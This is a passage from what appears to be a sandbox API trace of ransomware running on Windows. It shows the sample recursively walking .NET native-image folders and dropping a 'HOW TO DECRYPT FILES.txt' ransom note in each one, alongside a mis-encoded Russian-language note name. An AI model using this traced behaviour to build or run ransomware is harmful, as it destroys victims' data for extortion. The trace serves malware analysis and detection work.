TO DECRYPT FILES.txt", lpString2="System.Security.ni.dll") returned -1 [0106.409] lstrcmpiA (lpString1="", lpString2="System.Security.ni.dll") returned -1 [0106.409] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\d9a485330ec2708456134e4a9712a4ab\\*.*") returned="*.*" [0106.409] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\d9a485330ec2708456134e4a9712a4ab\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\d9a485330ec2708456134e4a9712a4ab\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\d9a485330ec2708456134e4a9712a4ab\\" [0106.409] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\d9a485330ec2708456134e4a9712a4ab\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\d9a485330ec2708456134e4a9712a4ab\\") returned="" [0106.409] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\d9a485330ec2708456134e4a9712a4ab\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\d9a485330ec2708456134e4a9712a4ab\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\d9a485330ec2708456134e4a9712a4ab\\HOW TO DECRYPT FILES.txt" [0106.409] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\d9a485330ec2708456134e4a9712a4ab\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.security\\d9a485330ec2708456134e4a9712a4ab\\how to decrypt files.txt")) returned 0xffffffff [0106.409] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\d9a485330ec2708456134e4a9712a4ab\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.security\\d9a485330ec2708456134e4a9712a4ab\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.412] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.413] CloseHandle (hObject=0x90) returned 1 [0106.413] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\d9a485330ec2708456134e4a9712a4ab\\", lpString2="System.Security.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\d9a485330ec2708456134e4a9712a4ab\\System.Security.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\d9a485330ec2708456134e4a9712a4ab\\System.Security.ni.dll" [0106.413] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Security\\d9a485330ec2708456134e4a9712a4ab\\System.Security.ni.dll", pszSpec="*.ems") returned 0 [0106.413] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4fb7a6a, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf4fb7a6a, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf4fddbca, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Security.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.413] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.413] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5029e8b, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xf5029e8b, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0xf5029e8b, ftLastWriteTime.dwHighDateTime=0x1cb892e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d9a485330ec2708456134e4a9712a4ab", cAlternateFileName="D9A485~1")) returned 0 [0106.413] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.413] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x574457bb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x574457bb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x574457bb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.ServiceModel", cAlternateFileName="SYSTEM~4.SER")) returned 1 [0106.413] lstrcmpA (lpString1=".", lpString2="System.ServiceModel") returned -1 [0106.414] lstrcmpA (lpString1="..", lpString2="System.ServiceModel") returned -1 [0106.414] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.414] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.ServiceModel" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel" [0106.414] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x574457bb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x574457bb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x574457bb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.414] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.414] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x574457bb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x574457bb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x574457bb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.415] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.415] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.415] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x574457bb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x574457bb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x574457bb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="e2642bff810609f64343e53dddb6b59c", cAlternateFileName="E2642B~1")) returned 1 [0106.415] lstrcmpA (lpString1=".", lpString2="e2642bff810609f64343e53dddb6b59c") returned -1 [0106.415] lstrcmpA (lpString1="..", lpString2="e2642bff810609f64343e53dddb6b59c") returned -1 [0106.415] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\*.*") returned="*.*" [0106.415] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\", lpString2="e2642bff810609f64343e53dddb6b59c" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\e2642bff810609f64343e53dddb6b59c") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\e2642bff810609f64343e53dddb6b59c" [0106.415] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\e2642bff810609f64343e53dddb6b59c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x574457bb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x574457bb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x574457bb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.415] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.416] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x574457bb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x574457bb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x574457bb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.416] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.416] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.416] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e05df0, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x56e05df0, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x571be057, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x10ab400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceModel.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.416] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.416] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.ni.dll") returned -1 [0106.416] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.ni.dll") returned -1 [0106.416] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.ni.dll") returned -1 [0106.416] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\e2642bff810609f64343e53dddb6b59c\\*.*") returned="*.*" [0106.416] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\e2642bff810609f64343e53dddb6b59c\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\e2642bff810609f64343e53dddb6b59c\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\e2642bff810609f64343e53dddb6b59c\\" [0106.416] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\e2642bff810609f64343e53dddb6b59c\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\e2642bff810609f64343e53dddb6b59c\\") returned="" [0106.416] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\e2642bff810609f64343e53dddb6b59c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\e2642bff810609f64343e53dddb6b59c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\e2642bff810609f64343e53dddb6b59c\\HOW TO DECRYPT FILES.txt" [0106.416] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\e2642bff810609f64343e53dddb6b59c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.servicemodel\\e2642bff810609f64343e53dddb6b59c\\how to decrypt files.txt")) returned 0xffffffff [0106.417] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\e2642bff810609f64343e53dddb6b59c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.servicemodel\\e2642bff810609f64343e53dddb6b59c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.419] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.420] CloseHandle (hObject=0x90) returned 1 [0106.420] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\e2642bff810609f64343e53dddb6b59c\\", lpString2="System.ServiceModel.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\e2642bff810609f64343e53dddb6b59c\\System.ServiceModel.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\e2642bff810609f64343e53dddb6b59c\\System.ServiceModel.ni.dll" [0106.420] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel\\e2642bff810609f64343e53dddb6b59c\\System.ServiceModel.ni.dll", pszSpec="*.ems") returned 0 [0106.468] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e05df0, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x56e05df0, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x571be057, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x10ab400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceModel.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.468] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.468] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x574457bb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x574457bb, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x574457bb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="e2642bff810609f64343e53dddb6b59c", cAlternateFileName="E2642B~1")) returned 0 [0106.468] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.468] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x860c02be, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x860e641e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x860e641e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.ServiceModel#", cAlternateFileName="SY1F37~1.SER")) returned 1 [0106.468] lstrcmpA (lpString1=".", lpString2="System.ServiceModel#") returned -1 [0106.468] lstrcmpA (lpString1="..", lpString2="System.ServiceModel#") returned -1 [0106.468] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.468] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.ServiceModel#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#" [0106.468] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x860c02be, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x860e641e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x860e641e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.469] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.469] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x860c02be, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x860e641e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x860e641e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.469] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.469] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.469] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x860e641e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x860e641e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x860e641e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4782a5d2bc7d86895faf404a3470aacb", cAlternateFileName="4782A5~1")) returned 1 [0106.469] lstrcmpA (lpString1=".", lpString2="4782a5d2bc7d86895faf404a3470aacb") returned -1 [0106.469] lstrcmpA (lpString1="..", lpString2="4782a5d2bc7d86895faf404a3470aacb") returned -1 [0106.469] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\*.*") returned="*.*" [0106.469] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\", lpString2="4782a5d2bc7d86895faf404a3470aacb" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\4782a5d2bc7d86895faf404a3470aacb") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\4782a5d2bc7d86895faf404a3470aacb" [0106.470] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\4782a5d2bc7d86895faf404a3470aacb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x860e641e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x860e641e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x860e641e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.470] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.470] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x860e641e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x860e641e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x860e641e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.470] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.470] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.470] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85fdba7c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x85fdba7c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x86027d3d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1a0c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceModel.Web.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.470] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.470] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ServiceModel.Web.ni.dll") returned -1 [0106.470] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ServiceModel.Web.ni.dll") returned -1 [0106.470] lstrcmpiA (lpString1="", lpString2="System.ServiceModel.Web.ni.dll") returned -1 [0106.471] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\4782a5d2bc7d86895faf404a3470aacb\\*.*") returned="*.*" [0106.471] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\4782a5d2bc7d86895faf404a3470aacb\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\4782a5d2bc7d86895faf404a3470aacb\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\4782a5d2bc7d86895faf404a3470aacb\\" [0106.471] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\4782a5d2bc7d86895faf404a3470aacb\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\4782a5d2bc7d86895faf404a3470aacb\\") returned="" [0106.471] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\4782a5d2bc7d86895faf404a3470aacb\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\4782a5d2bc7d86895faf404a3470aacb\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\4782a5d2bc7d86895faf404a3470aacb\\HOW TO DECRYPT FILES.txt" [0106.471] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\4782a5d2bc7d86895faf404a3470aacb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.servicemodel#\\4782a5d2bc7d86895faf404a3470aacb\\how to decrypt files.txt")) returned 0xffffffff [0106.471] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\4782a5d2bc7d86895faf404a3470aacb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.servicemodel#\\4782a5d2bc7d86895faf404a3470aacb\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.474] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.474] CloseHandle (hObject=0x90) returned 1 [0106.474] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\4782a5d2bc7d86895faf404a3470aacb\\", lpString2="System.ServiceModel.Web.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\4782a5d2bc7d86895faf404a3470aacb\\System.ServiceModel.Web.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\4782a5d2bc7d86895faf404a3470aacb\\System.ServiceModel.Web.ni.dll" [0106.474] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.ServiceModel#\\4782a5d2bc7d86895faf404a3470aacb\\System.ServiceModel.Web.ni.dll", pszSpec="*.ems") returned 0 [0106.475] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85fdba7c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x85fdba7c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x86027d3d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1a0c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ServiceModel.Web.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.475] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.475] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x860e641e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x860e641e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x860e641e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4782a5d2bc7d86895faf404a3470aacb", cAlternateFileName="4782A5~1")) returned 0 [0106.475] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.475] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1876fd80, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1876fd80, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1876fd80, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.ServiceProce#", cAlternateFileName="SYSTEM~3.SER")) returned 1 [0106.475] lstrcmpA (lpString1=".", lpString2="System.ServiceProce#") returned -1 [0106.475] lstrcmpA (lpString1="..", lpString2="System.ServiceProce#") returned -1 [0106.475] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.475] lstrcatA (in: 